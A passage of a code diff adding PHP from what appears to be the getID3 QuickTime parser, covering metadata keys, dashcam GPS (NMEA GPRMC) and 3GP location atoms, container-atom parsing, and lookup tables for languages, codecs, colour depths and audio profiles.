+				$atom_structure['unknown']  = getid3_lib::BigEndian2Int(substr($atom_data, 4 + 2, 2));
+				$atom_structure['data']     =                           substr($atom_data, 4 + 4);
+				$atom_structure['key_name'] = @$info['quicktime']['temp_meta_key_names'][$metaDATAkey++];
+
+				if ($atom_structure['key_name'] && $atom_structure['data']) {
+					@$info['quicktime']['comments'][str_replace('com.apple.quicktime.', '', $atom_structure['key_name'])][] = $atom_structure['data'];
+				}
+				break;
+
+			case 'keys': // KEYS that may be present in the metadata atom.
+				// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html#//apple_ref/doc/uid/TP40000939-CH1-SW21
+				// The metadata item keys atom holds a list of the metadata keys that may be present in the metadata atom.
+				// This list is indexed starting with 1; 0 is a reserved index value. The metadata item keys atom is a full atom with an atom type of "keys".
+				$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['entry_count']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$keys_atom_offset = 8;
+				for ($i = 1; $i <= $atom_structure['entry_count']; $i++) {
+					$atom_structure['keys'][$i]['key_size']      = getid3_lib::BigEndian2Int(substr($atom_data, $keys_atom_offset + 0, 4));
+					$atom_structure['keys'][$i]['key_namespace'] =                           substr($atom_data, $keys_atom_offset + 4, 4);
+					$atom_structure['keys'][$i]['key_value']     =                           substr($atom_data, $keys_atom_offset + 8, $atom_structure['keys'][$i]['key_size'] - 8);
+					$keys_atom_offset += $atom_structure['keys'][$i]['key_size']; // key_size includes the 4+4 bytes for key_size and key_namespace
+
+					$info['quicktime']['temp_meta_key_names'][$i] = $atom_structure['keys'][$i]['key_value'];
+				}
+				break;
+
+			case 'gps ':
+				// https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730
+				// The 'gps ' contains simple look up table made up of 8byte rows, that point to the 'free' atoms that contains the actual GPS data.
+				// The first row is version/metadata/notsure, I skip that.
+				// The following rows consist of 4byte address (absolute) and 4byte size (0x1000), these point to the GPS data in the file.
+
+				$GPS_rowsize = 8; // 4 bytes for offset, 4 bytes for size
+				if (strlen($atom_data) > 0) {
+					if ((strlen($atom_data) % $GPS_rowsize) == 0) {
+						$atom_structure['gps_toc'] = array();
+						foreach (str_split($atom_data, $GPS_rowsize) as $counter => $datapair) {
+							$atom_structure['gps_toc'][] = unpack('Noffset/Nsize', substr($atom_data, $counter * $GPS_rowsize, $GPS_rowsize));
+						}
+
+						$atom_structure['gps_entries'] = array();
+						$previous_offset = $this->ftell();
+						foreach ($atom_structure['gps_toc'] as $key => $gps_pointer) {
+							if ($key == 0) {
+								// "The first row is version/metadata/notsure, I skip that."
+								continue;
+							}
+							$this->fseek($gps_pointer['offset']);
+							$GPS_free_data = $this->fread($gps_pointer['size']);
+
+							/*
+							// 2017-05-10: I see some of the data, notably the Hour-Minute-Second, but cannot reconcile the rest of the data. However, the NMEA "GPRMC" line is there and relatively easy to parse, so I'm using that instead
+
+							// https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730
+							// The structure of the GPS data atom (the 'free' atoms mentioned above) is following:
+							// hour,minute,second,year,month,day,active,latitude_b,longitude_b,unknown2,latitude,longitude,speed = struct.unpack_from('<IIIIIIssssfff',data, 48)
+							// For those unfamiliar with python struct:
+							// I = int
+							// s = is string (size 1, in this case)
+							// f = float
+
+							//$atom_structure['gps_entries'][$key] = unpack('Vhour/Vminute/Vsecond/Vyear/Vmonth/Vday/Vactive/Vlatitude_b/Vlongitude_b/Vunknown2/flatitude/flongitude/fspeed', substr($GPS_free_data, 48));
+							*/
+
+							// $GPRMC,081836,A,3751.65,S,14507.36,E,000.0,360.0,130998,011.3,E*62
+							// $GPRMC,183731,A,3907.482,N,12102.436,W,000.0,360.0,080301,015.5,E*67
+							// $GPRMC,002454,A,3553.5295,N,13938.6570,E,0.0,43.1,180700,7.1,W,A*3F
+							// $GPRMC,094347.000,A,5342.0061,N,00737.9908,W,0.01,156.75,140217,,,A*7D
+							if (preg_match('#\\$GPRMC,([0-9\\.]*),([AV]),([0-9\\.]*),([NS]),([0-9\\.]*),([EW]),([0-9\\.]*),([0-9\\.]*),([0-9]*),([0-9\\.]*),([EW]?)(,[A])?(\\*[0-9A-F]{2})#', $GPS_free_data, $matches)) {
+								$GPS_this_GPRMC = array();
+								list(
+									$GPS_this_GPRMC['raw']['gprmc'],
+									$GPS_this_GPRMC['raw']['timestamp'],
+									$GPS_this_GPRMC['raw']['status'],
+									$GPS_this_GPRMC['raw']['latitude'],
+									$GPS_this_GPRMC['raw']['latitude_direction'],
+									$GPS_this_GPRMC['raw']['longitude'],
+									$GPS_this_GPRMC['raw']['longitude_direction'],
+									$GPS_this_GPRMC['raw']['knots'],
+									$GPS_this_GPRMC['raw']['angle'],
+									$GPS_this_GPRMC['raw']['datestamp'],
+									$GPS_this_GPRMC['raw']['variation'],
+									$GPS_this_GPRMC['raw']['variation_direction'],
+									$dummy,
+									$GPS_this_GPRMC['raw']['checksum'],
+								) = $matches;
+
+								$hour   = substr($GPS_this_GPRMC['raw']['timestamp'], 0, 2);
+								$minute = substr($GPS_this_GPRMC['raw']['timestamp'], 2, 2);
+								$second = substr($GPS_this_GPRMC['raw']['timestamp'], 4, 2);
+								$ms     = substr($GPS_this_GPRMC['raw']['timestamp'], 6);    // may contain decimal seconds
+								$day   = substr($GPS_this_GPRMC['raw']['datestamp'], 0, 2);
+								$month = substr($GPS_this_GPRMC['raw']['datestamp'], 2, 2);
+								$year  = substr($GPS_this_GPRMC['raw']['datestamp'], 4, 2);
+								$year += (($year > 90) ? 1900 : 2000); // complete lack of foresight: datestamps are stored with 2-digit years, take best guess
+								$GPS_this_GPRMC['timestamp'] = $year.'-'.$month.'-'.$day.' '.$hour.':'.$minute.':'.$second.$ms;
+
+								$GPS_this_GPRMC['active'] = ($GPS_this_GPRMC['raw']['status'] == 'A'); // A=Active,V=Void
+
+								foreach (array('latitude','longitude') as $latlon) {
+									preg_match('#^([0-9]{1,3})([0-9]{2}\\.[0-9]+)$#', $GPS_this_GPRMC['raw'][$latlon], $matches);
+									list($dummy, $deg, $min) = $matches;
+									$GPS_this_GPRMC[$latlon] = $deg + ($min / 60);
+								}
+								$GPS_this_GPRMC['latitude']  *= (($GPS_this_GPRMC['raw']['latitude_direction']  == 'S') ? -1 : 1);
+								$GPS_this_GPRMC['longitude'] *= (($GPS_this_GPRMC['raw']['longitude_direction'] == 'W') ? -1 : 1);
+
+								$GPS_this_GPRMC['heading']    = $GPS_this_GPRMC['raw']['angle'];
+								$GPS_this_GPRMC['speed_knot'] = $GPS_this_GPRMC['raw']['knots'];
+								$GPS_this_GPRMC['speed_kmh']  = $GPS_this_GPRMC['raw']['knots'] * 1.852;
+								if ($GPS_this_GPRMC['raw']['variation']) {
+									$GPS_this_GPRMC['variation']  = $GPS_this_GPRMC['raw']['variation'];
+									$GPS_this_GPRMC['variation'] *= (($GPS_this_GPRMC['raw']['variation_direction'] == 'W') ? -1 : 1);
+								}
+
+								$atom_structure['gps_entries'][$key] = $GPS_this_GPRMC;
+
+								@$info['quicktime']['gps_track'][$GPS_this_GPRMC['timestamp']] = array(
+									'latitude'  => $GPS_this_GPRMC['latitude'],
+									'longitude' => $GPS_this_GPRMC['longitude'],
+									'speed_kmh' => $GPS_this_GPRMC['speed_kmh'],
+									'heading'   => $GPS_this_GPRMC['heading'],
+								);
+
+							} else {
+								$this->warning('Unhandled GPS format in "free" atom at offset '.$gps_pointer['offset']);
+							}
+						}
+						$this->fseek($previous_offset);
+
+					} else {
+						$this->warning('QuickTime atom "'.$atomname.'" is not mod-8 bytes long ('.$atomsize.' bytes) at offset '.$baseoffset);
+					}
+				} else {
+					$this->warning('QuickTime atom "'.$atomname.'" is zero bytes long at offset '.$baseoffset);
+				}
+				break;
+
+			case 'loci':// 3GP location (El Loco)
+                                $info['quicktime']['comments']['gps_flags'] = getid3_lib::BigEndian2Int(substr($atom_data, 0, 4));
+                                $info['quicktime']['comments']['gps_lang'] = getid3_lib::BigEndian2Int(substr($atom_data, 4, 2));
+                                $loffset = 0;
+                                $info['quicktime']['comments']['gps_location'] = $this->LociString(substr($atom_data, 6), $loffset);
+                                $loci_data=substr($atom_data, 6 + $loffset);
+                                $info['quicktime']['comments']['gps_role'] = getid3_lib::BigEndian2Int(substr($loci_data, 0, 1));
+                                $info['quicktime']['comments']['gps_longitude'] = getid3_lib::FixedPoint16_16(substr($loci_data, 1, 4));
+                                $info['quicktime']['comments']['gps_latitude'] = getid3_lib::FixedPoint16_16(substr($loci_data, 5, 4));
+                                $info['quicktime']['comments']['gps_altitude'] = getid3_lib::FixedPoint16_16(substr($loci_data, 9, 4));
+                                $info['quicktime']['comments']['gps_body'] = $this->LociString(substr($loci_data, 13), $loffset);
+                                $info['quicktime']['comments']['gps_notes'] = $this->LociString(substr($loci_data, 13 + $loffset), $loffset);
+                                break;
+
+			default:
+				$this->warning('Unknown QuickTime atom type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" ('.trim(getid3_lib::PrintHexBytes($atomname)).') at offset '.$baseoffset);
+				$atom_structure['data'] = $atom_data;
+				break;
+		}
+		array_pop($atomHierarchy);
+		return $atom_structure;
+	}
+
+	public function QuicktimeParseContainerAtom($atom_data, $baseoffset, &$atomHierarchy, $ParseAllPossibleAtoms) {
+//echo 'QuicktimeParseContainerAtom('.substr($atom_data, 4, 4).') @ '.$baseoffset.'<br><br>';
+		$atom_structure  = false;
+		$subatomoffset  = 0;
+		$subatomcounter = 0;
+		if ((strlen($atom_data) == 4) && (getid3_lib::BigEndian2Int($atom_data) == 0x00000000)) {
+			return false;
+		}
+		while ($subatomoffset < strlen($atom_data)) {
+			$subatomsize = getid3_lib::BigEndian2Int(substr($atom_data, $subatomoffset + 0, 4));
+			$subatomname =                           substr($atom_data, $subatomoffset + 4, 4);
+			$subatomdata =                           substr($atom_data, $subatomoffset + 8, $subatomsize - 8);
+			if ($subatomsize == 0) {
+				// Furthermore, for historical reasons the list of atoms is optionally
+				// terminated by a 32-bit integer set to 0. If you are writing a program
+				// to read user data atoms, you should allow for the terminating 0.
+				if (strlen($atom_data) > 12) {
+					$subatomoffset += 4;
+					continue;
+				}
+				return $atom_structure;
+			}
+
+			$atom_structure[$subatomcounter] = $this->QuicktimeParseAtom($subatomname, $subatomsize, $subatomdata, $baseoffset + $subatomoffset, $atomHierarchy, $ParseAllPossibleAtoms);
+
+			$subatomoffset += $subatomsize;
+			$subatomcounter++;
+		}
+		return $atom_structure;
+	}
+
+
+	public function quicktime_read_mp4_descr_length($data, &$offset) {
+		// http://libquicktime.sourcearchive.com/documentation/2:1.0.2plus-pdebian-2build1/esds_8c-source.html
+		$num_bytes = 0;
+		$length    = 0;
+		do {
+			$b = ord(substr($data, $offset++, 1));
+			$length = ($length << 7) | ($b & 0x7F);
+		} while (($b & 0x80) && ($num_bytes++ < 4));
+		return $length;
+	}
+
+
+	public function QuicktimeLanguageLookup($languageid) {
+		// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-34353
+		static $QuicktimeLanguageLookup = array();
+		if (empty($QuicktimeLanguageLookup)) {
+			$QuicktimeLanguageLookup[0]     = 'English';
+			$QuicktimeLanguageLookup[1]     = 'French';
+			$QuicktimeLanguageLookup[2]     = 'German';
+			$QuicktimeLanguageLookup[3]     = 'Italian';
+			$QuicktimeLanguageLookup[4]     = 'Dutch';
+			$QuicktimeLanguageLookup[5]     = 'Swedish';
+			$QuicktimeLanguageLookup[6]     = 'Spanish';
+			$QuicktimeLanguageLookup[7]     = 'Danish';
+			$QuicktimeLanguageLookup[8]     = 'Portuguese';
+			$QuicktimeLanguageLookup[9]     = 'Norwegian';
+			$QuicktimeLanguageLookup[10]    = 'Hebrew';
+			$QuicktimeLanguageLookup[11]    = 'Japanese';
+			$QuicktimeLanguageLookup[12]    = 'Arabic';
+			$QuicktimeLanguageLookup[13]    = 'Finnish';
+			$QuicktimeLanguageLookup[14]    = 'Greek';
+			$QuicktimeLanguageLookup[15]    = 'Icelandic';
+			$QuicktimeLanguageLookup[16]    = 'Maltese';
+			$QuicktimeLanguageLookup[17]    = 'Turkish';
+			$QuicktimeLanguageLookup[18]    = 'Croatian';
+			$QuicktimeLanguageLookup[19]    = 'Chinese (Traditional)';
+			$QuicktimeLanguageLookup[20]    = 'Urdu';
+			$QuicktimeLanguageLookup[21]    = 'Hindi';
+			$QuicktimeLanguageLookup[22]    = 'Thai';
+			$QuicktimeLanguageLookup[23]    = 'Korean';
+			$QuicktimeLanguageLookup[24]    = 'Lithuanian';
+			$QuicktimeLanguageLookup[25]    = 'Polish';
+			$QuicktimeLanguageLookup[26]    = 'Hungarian';
+			$QuicktimeLanguageLookup[27]    = 'Estonian';
+			$QuicktimeLanguageLookup[28]    = 'Lettish';
+			$QuicktimeLanguageLookup[28]    = 'Latvian';
+			$QuicktimeLanguageLookup[29]    = 'Saamisk';
+			$QuicktimeLanguageLookup[29]    = 'Lappish';
+			$QuicktimeLanguageLookup[30]    = 'Faeroese';
+			$QuicktimeLanguageLookup[31]    = 'Farsi';
+			$QuicktimeLanguageLookup[31]    = 'Persian';
+			$QuicktimeLanguageLookup[32]    = 'Russian';
+			$QuicktimeLanguageLookup[33]    = 'Chinese (Simplified)';
+			$QuicktimeLanguageLookup[34]    = 'Flemish';
+			$QuicktimeLanguageLookup[35]    = 'Irish';
+			$QuicktimeLanguageLookup[36]    = 'Albanian';
+			$QuicktimeLanguageLookup[37]    = 'Romanian';
+			$QuicktimeLanguageLookup[38]    = 'Czech';
+			$QuicktimeLanguageLookup[39]    = 'Slovak';
+			$QuicktimeLanguageLookup[40]    = 'Slovenian';
+			$QuicktimeLanguageLookup[41]    = 'Yiddish';
+			$QuicktimeLanguageLookup[42]    = 'Serbian';
+			$QuicktimeLanguageLookup[43]    = 'Macedonian';
+			$QuicktimeLanguageLookup[44]    = 'Bulgarian';
+			$QuicktimeLanguageLookup[45]    = 'Ukrainian';
+			$QuicktimeLanguageLookup[46]    = 'Byelorussian';
+			$QuicktimeLanguageLookup[47]    = 'Uzbek';
+			$QuicktimeLanguageLookup[48]    = 'Kazakh';
+			$QuicktimeLanguageLookup[49]    = 'Azerbaijani';
+			$QuicktimeLanguageLookup[50]    = 'AzerbaijanAr';
+			$QuicktimeLanguageLookup[51]    = 'Armenian';
+			$QuicktimeLanguageLookup[52]    = 'Georgian';
+			$QuicktimeLanguageLookup[53]    = 'Moldavian';
+			$QuicktimeLanguageLookup[54]    = 'Kirghiz';
+			$QuicktimeLanguageLookup[55]    = 'Tajiki';
+			$QuicktimeLanguageLookup[56]    = 'Turkmen';
+			$QuicktimeLanguageLookup[57]    = 'Mongolian';
+			$QuicktimeLanguageLookup[58]    = 'MongolianCyr';
+			$QuicktimeLanguageLookup[59]    = 'Pashto';
+			$QuicktimeLanguageLookup[60]    = 'Kurdish';
+			$QuicktimeLanguageLookup[61]    = 'Kashmiri';
+			$QuicktimeLanguageLookup[62]    = 'Sindhi';
+			$QuicktimeLanguageLookup[63]    = 'Tibetan';
+			$QuicktimeLanguageLookup[64]    = 'Nepali';
+			$QuicktimeLanguageLookup[65]    = 'Sanskrit';
+			$QuicktimeLanguageLookup[66]    = 'Marathi';
+			$QuicktimeLanguageLookup[67]    = 'Bengali';
+			$QuicktimeLanguageLookup[68]    = 'Assamese';
+			$QuicktimeLanguageLookup[69]    = 'Gujarati';
+			$QuicktimeLanguageLookup[70]    = 'Punjabi';
+			$QuicktimeLanguageLookup[71]    = 'Oriya';
+			$QuicktimeLanguageLookup[72]    = 'Malayalam';
+			$QuicktimeLanguageLookup[73]    = 'Kannada';
+			$QuicktimeLanguageLookup[74]    = 'Tamil';
+			$QuicktimeLanguageLookup[75]    = 'Telugu';
+			$QuicktimeLanguageLookup[76]    = 'Sinhalese';
+			$QuicktimeLanguageLookup[77]    = 'Burmese';
+			$QuicktimeLanguageLookup[78]    = 'Khmer';
+			$QuicktimeLanguageLookup[79]    = 'Lao';
+			$QuicktimeLanguageLookup[80]    = 'Vietnamese';
+			$QuicktimeLanguageLookup[81]    = 'Indonesian';
+			$QuicktimeLanguageLookup[82]    = 'Tagalog';
+			$QuicktimeLanguageLookup[83]    = 'MalayRoman';
+			$QuicktimeLanguageLookup[84]    = 'MalayArabic';
+			$QuicktimeLanguageLookup[85]    = 'Amharic';
+			$QuicktimeLanguageLookup[86]    = 'Tigrinya';
+			$QuicktimeLanguageLookup[87]    = 'Galla';
+			$QuicktimeLanguageLookup[87]    = 'Oromo';
+			$QuicktimeLanguageLookup[88]    = 'Somali';
+			$QuicktimeLanguageLookup[89]    = 'Swahili';
+			$QuicktimeLanguageLookup[90]    = 'Ruanda';
+			$QuicktimeLanguageLookup[91]    = 'Rundi';
+			$QuicktimeLanguageLookup[92]    = 'Chewa';
+			$QuicktimeLanguageLookup[93]    = 'Malagasy';
+			$QuicktimeLanguageLookup[94]    = 'Esperanto';
+			$QuicktimeLanguageLookup[128]   = 'Welsh';
+			$QuicktimeLanguageLookup[129]   = 'Basque';
+			$QuicktimeLanguageLookup[130]   = 'Catalan';
+			$QuicktimeLanguageLookup[131]   = 'Latin';
+			$QuicktimeLanguageLookup[132]   = 'Quechua';
+			$QuicktimeLanguageLookup[133]   = 'Guarani';
+			$QuicktimeLanguageLookup[134]   = 'Aymara';
+			$QuicktimeLanguageLookup[135]   = 'Tatar';
+			$QuicktimeLanguageLookup[136]   = 'Uighur';
+			$QuicktimeLanguageLookup[137]   = 'Dzongkha';
+			$QuicktimeLanguageLookup[138]   = 'JavaneseRom';
+			$QuicktimeLanguageLookup[32767] = 'Unspecified';
+		}
+		if (($languageid > 138) && ($languageid < 32767)) {
+			/*
+			ISO Language Codes - http://www.loc.gov/standards/iso639-2/php/code_list.php
+			Because the language codes specified by ISO 639-2/T are three characters long, they must be packed to fit into a 16-bit field.
+			The packing algorithm must map each of the three characters, which are always lowercase, into a 5-bit integer and then concatenate
+			these integers into the least significant 15 bits of a 16-bit integer, leaving the 16-bit integer's most significant bit set to zero.
+
+			One algorithm for performing this packing is to treat each ISO character as a 16-bit integer. Subtract 0x60 from the first character
+			and multiply by 2^10 (0x400), subtract 0x60 from the second character and multiply by 2^5 (0x20), subtract 0x60 from the third character,
+			and add the three 16-bit values. This will result in a single 16-bit value with the three codes correctly packed into the 15 least
+			significant bits and the most significant bit set to zero.
+			*/
+			$iso_language_id  = '';
+			$iso_language_id .= chr((($languageid & 0x7C00) >> 10) + 0x60);
+			$iso_language_id .= chr((($languageid & 0x03E0) >>  5) + 0x60);
+			$iso_language_id .= chr((($languageid & 0x001F) >>  0) + 0x60);
+			$QuicktimeLanguageLookup[$languageid] = getid3_id3v2::LanguageLookup($iso_language_id);
+		}
+		return (isset($QuicktimeLanguageLookup[$languageid]) ? $QuicktimeLanguageLookup[$languageid] : 'invalid');
+	}
+
+	public function QuicktimeVideoCodecLookup($codecid) {
+		static $QuicktimeVideoCodecLookup = array();
+		if (empty($QuicktimeVideoCodecLookup)) {
+			$QuicktimeVideoCodecLookup['.SGI'] = 'SGI';
+			$QuicktimeVideoCodecLookup['3IV1'] = '3ivx MPEG-4 v1';
+			$QuicktimeVideoCodecLookup['3IV2'] = '3ivx MPEG-4 v2';
+			$QuicktimeVideoCodecLookup['3IVX'] = '3ivx MPEG-4';
+			$QuicktimeVideoCodecLookup['8BPS'] = 'Planar RGB';
+			$QuicktimeVideoCodecLookup['avc1'] = 'H.264/MPEG-4 AVC';
+			$QuicktimeVideoCodecLookup['avr '] = 'AVR-JPEG';
+			$QuicktimeVideoCodecLookup['b16g'] = '16Gray';
+			$QuicktimeVideoCodecLookup['b32a'] = '32AlphaGray';
+			$QuicktimeVideoCodecLookup['b48r'] = '48RGB';
+			$QuicktimeVideoCodecLookup['b64a'] = '64ARGB';
+			$QuicktimeVideoCodecLookup['base'] = 'Base';
+			$QuicktimeVideoCodecLookup['clou'] = 'Cloud';
+			$QuicktimeVideoCodecLookup['cmyk'] = 'CMYK';
+			$QuicktimeVideoCodecLookup['cvid'] = 'Cinepak';
+			$QuicktimeVideoCodecLookup['dmb1'] = 'OpenDML JPEG';
+			$QuicktimeVideoCodecLookup['dvc '] = 'DVC-NTSC';
+			$QuicktimeVideoCodecLookup['dvcp'] = 'DVC-PAL';
+			$QuicktimeVideoCodecLookup['dvpn'] = 'DVCPro-NTSC';
+			$QuicktimeVideoCodecLookup['dvpp'] = 'DVCPro-PAL';
+			$QuicktimeVideoCodecLookup['fire'] = 'Fire';
+			$QuicktimeVideoCodecLookup['flic'] = 'FLC';
+			$QuicktimeVideoCodecLookup['gif '] = 'GIF';
+			$QuicktimeVideoCodecLookup['h261'] = 'H261';
+			$QuicktimeVideoCodecLookup['h263'] = 'H263';
+			$QuicktimeVideoCodecLookup['IV41'] = 'Indeo4';
+			$QuicktimeVideoCodecLookup['jpeg'] = 'JPEG';
+			$QuicktimeVideoCodecLookup['kpcd'] = 'PhotoCD';
+			$QuicktimeVideoCodecLookup['mjpa'] = 'Motion JPEG-A';
+			$QuicktimeVideoCodecLookup['mjpb'] = 'Motion JPEG-B';
+			$QuicktimeVideoCodecLookup['msvc'] = 'Microsoft Video1';
+			$QuicktimeVideoCodecLookup['myuv'] = 'MPEG YUV420';
+			$QuicktimeVideoCodecLookup['path'] = 'Vector';
+			$QuicktimeVideoCodecLookup['png '] = 'PNG';
+			$QuicktimeVideoCodecLookup['PNTG'] = 'MacPaint';
+			$QuicktimeVideoCodecLookup['qdgx'] = 'QuickDrawGX';
+			$QuicktimeVideoCodecLookup['qdrw'] = 'QuickDraw';
+			$QuicktimeVideoCodecLookup['raw '] = 'RAW';
+			$QuicktimeVideoCodecLookup['ripl'] = 'WaterRipple';
+			$QuicktimeVideoCodecLookup['rpza'] = 'Video';
+			$QuicktimeVideoCodecLookup['smc '] = 'Graphics';
+			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 1';
+			$QuicktimeVideoCodecLookup['SVQ1'] = 'Sorenson Video 3';
+			$QuicktimeVideoCodecLookup['syv9'] = 'Sorenson YUV9';
+			$QuicktimeVideoCodecLookup['tga '] = 'Targa';
+			$QuicktimeVideoCodecLookup['tiff'] = 'TIFF';
+			$QuicktimeVideoCodecLookup['WRAW'] = 'Windows RAW';
+			$QuicktimeVideoCodecLookup['WRLE'] = 'BMP';
+			$QuicktimeVideoCodecLookup['y420'] = 'YUV420';
+			$QuicktimeVideoCodecLookup['yuv2'] = 'ComponentVideo';
+			$QuicktimeVideoCodecLookup['yuvs'] = 'ComponentVideoUnsigned';
+			$QuicktimeVideoCodecLookup['yuvu'] = 'ComponentVideoSigned';
+		}
+		return (isset($QuicktimeVideoCodecLookup[$codecid]) ? $QuicktimeVideoCodecLookup[$codecid] : '');
+	}
+
+	public function QuicktimeAudioCodecLookup($codecid) {
+		static $QuicktimeAudioCodecLookup = array();
+		if (empty($QuicktimeAudioCodecLookup)) {
+			$QuicktimeAudioCodecLookup['.mp3']          = 'Fraunhofer MPEG Layer-III alias';
+			$QuicktimeAudioCodecLookup['aac ']          = 'ISO/IEC 14496-3 AAC';
+			$QuicktimeAudioCodecLookup['agsm']          = 'Apple GSM 10:1';
+			$QuicktimeAudioCodecLookup['alac']          = 'Apple Lossless Audio Codec';
+			$QuicktimeAudioCodecLookup['alaw']          = 'A-law 2:1';
+			$QuicktimeAudioCodecLookup['conv']          = 'Sample Format';
+			$QuicktimeAudioCodecLookup['dvca']          = 'DV';
+			$QuicktimeAudioCodecLookup['dvi ']          = 'DV 4:1';
+			$QuicktimeAudioCodecLookup['eqal']          = 'Frequency Equalizer';
+			$QuicktimeAudioCodecLookup['fl32']          = '32-bit Floating Point';
+			$QuicktimeAudioCodecLookup['fl64']          = '64-bit Floating Point';
+			$QuicktimeAudioCodecLookup['ima4']          = 'Interactive Multimedia Association 4:1';
+			$QuicktimeAudioCodecLookup['in24']          = '24-bit Integer';
+			$QuicktimeAudioCodecLookup['in32']          = '32-bit Integer';
+			$QuicktimeAudioCodecLookup['lpc ']          = 'LPC 23:1';
+			$QuicktimeAudioCodecLookup['MAC3']          = 'Macintosh Audio Compression/Expansion (MACE) 3:1';
+			$QuicktimeAudioCodecLookup['MAC6']          = 'Macintosh Audio Compression/Expansion (MACE) 6:1';
+			$QuicktimeAudioCodecLookup['mixb']          = '8-bit Mixer';
+			$QuicktimeAudioCodecLookup['mixw']          = '16-bit Mixer';
+			$QuicktimeAudioCodecLookup['mp4a']          = 'ISO/IEC 14496-3 AAC';
+			$QuicktimeAudioCodecLookup['MS'."\x00\x02"] = 'Microsoft ADPCM';
+			$QuicktimeAudioCodecLookup['MS'."\x00\x11"] = 'DV IMA';
+			$QuicktimeAudioCodecLookup['MS'."\x00\x55"] = 'Fraunhofer MPEG Layer III';
+			$QuicktimeAudioCodecLookup['NONE']          = 'No Encoding';
+			$QuicktimeAudioCodecLookup['Qclp']          = 'Qualcomm PureVoice';
+			$QuicktimeAudioCodecLookup['QDM2']          = 'QDesign Music 2';
+			$QuicktimeAudioCodecLookup['QDMC']          = 'QDesign Music 1';
+			$QuicktimeAudioCodecLookup['ratb']          = '8-bit Rate';
+			$QuicktimeAudioCodecLookup['ratw']          = '16-bit Rate';
+			$QuicktimeAudioCodecLookup['raw ']          = 'raw PCM';
+			$QuicktimeAudioCodecLookup['sour']          = 'Sound Source';
+			$QuicktimeAudioCodecLookup['sowt']          = 'signed/two\'s complement (Little Endian)';
+			$QuicktimeAudioCodecLookup['str1']          = 'Iomega MPEG layer II';
+			$QuicktimeAudioCodecLookup['str2']          = 'Iomega MPEG *layer II';
+			$QuicktimeAudioCodecLookup['str3']          = 'Iomega MPEG **layer II';
+			$QuicktimeAudioCodecLookup['str4']          = 'Iomega MPEG ***layer II';
+			$QuicktimeAudioCodecLookup['twos']          = 'signed/two\'s complement (Big Endian)';
+			$QuicktimeAudioCodecLookup['ulaw']          = 'mu-law 2:1';
+		}
+		return (isset($QuicktimeAudioCodecLookup[$codecid]) ? $QuicktimeAudioCodecLookup[$codecid] : '');
+	}
+
+	public function QuicktimeDCOMLookup($compressionid) {
+		static $QuicktimeDCOMLookup = array();
+		if (empty($QuicktimeDCOMLookup)) {
+			$QuicktimeDCOMLookup['zlib'] = 'ZLib Deflate';
+			$QuicktimeDCOMLookup['adec'] = 'Apple Compression';
+		}
+		return (isset($QuicktimeDCOMLookup[$compressionid]) ? $QuicktimeDCOMLookup[$compressionid] : '');
+	}
+
+	public function QuicktimeColorNameLookup($colordepthid) {
+		static $QuicktimeColorNameLookup = array();
+		if (empty($QuicktimeColorNameLookup)) {
+			$QuicktimeColorNameLookup[1]  = '2-color (monochrome)';
+			$QuicktimeColorNameLookup[2]  = '4-color';
+			$QuicktimeColorNameLookup[4]  = '16-color';
+			$QuicktimeColorNameLookup[8]  = '256-color';
+			$QuicktimeColorNameLookup[16] = 'thousands (16-bit color)';
+			$QuicktimeColorNameLookup[24] = 'millions (24-bit color)';
+			$QuicktimeColorNameLookup[32] = 'millions+ (32-bit color)';
+			$QuicktimeColorNameLookup[33] = 'black & white';
+			$QuicktimeColorNameLookup[34] = '4-gray';
+			$QuicktimeColorNameLookup[36] = '16-gray';
+			$QuicktimeColorNameLookup[40] = '256-gray';
+		}
+		return (isset($QuicktimeColorNameLookup[$colordepthid]) ? $QuicktimeColorNameLookup[$colordepthid] : 'invalid');
+	}
+
+	public function QuicktimeSTIKLookup($stik) {
+		static $QuicktimeSTIKLookup = array();
+		if (empty($QuicktimeSTIKLookup)) {
+			$QuicktimeSTIKLookup[0]  = 'Movie';
+			$QuicktimeSTIKLookup[1]  = 'Normal';
+			$QuicktimeSTIKLookup[2]  = 'Audiobook';
+			$QuicktimeSTIKLookup[5]  = 'Whacked Bookmark';
+			$QuicktimeSTIKLookup[6]  = 'Music Video';
+			$QuicktimeSTIKLookup[9]  = 'Short Film';
+			$QuicktimeSTIKLookup[10] = 'TV Show';
+			$QuicktimeSTIKLookup[11] = 'Booklet';
+			$QuicktimeSTIKLookup[14] = 'Ringtone';
+			$QuicktimeSTIKLookup[21] = 'Podcast';
+		}
+		return (isset($QuicktimeSTIKLookup[$stik]) ? $QuicktimeSTIKLookup[$stik] : 'invalid');
+	}
+
+	public function QuicktimeIODSaudioProfileName($audio_profile_id) {
+		static $QuicktimeIODSaudioProfileNameLookup = array();
+		if (empty($QuicktimeIODSaudioProfileNameLookup)) {
+			$QuicktimeIODSaudioProfileNameLookup = array(
+				0x00 => 'ISO Reserved (0x00)',
+				0x01 => 'Main Audio Profile @ Level 1',
+				0x02 => 'Main Audio Profile @ Level 2',
+				0x03 => 'Main Audio Profile @ Level 3',
+				0x04 => 'Main Audio Profile @ Level 4',
+				0x05 => 'Scalable Audio Profile @ Level 1',
+				0x06 => 'Scalable Audio Profile @ Level 2',
+				0x07 => 'Scalable Audio Profile @ Level 3',
+				0x08 => 'Scalable Audio Profile @ Level 4',
+				0x09 => 'Speech Audio Profile @ Level 1',
+				0x0A => 'Speech Audio Profile @ Level 2',
+				0x0B => 'Synthetic Audio Profile @ Level 1',
+				0x0C => 'Synthetic Audio Profile @ Level 2',
+				0x0D => 'Synthetic Audio Profile @ Level 3',
+				0x0E => 'High Quality Audio Profile @ Level 1',
+				0x0F => 'High Quality Audio Profile @ Level 2',
+				0x10 => 'High Quality Audio Profile @ Level 3',
+				0x11 => 'High Quality Audio Profile @ Level 4',
+				0x12 => 'High Quality Audio Profile @ Level 5',
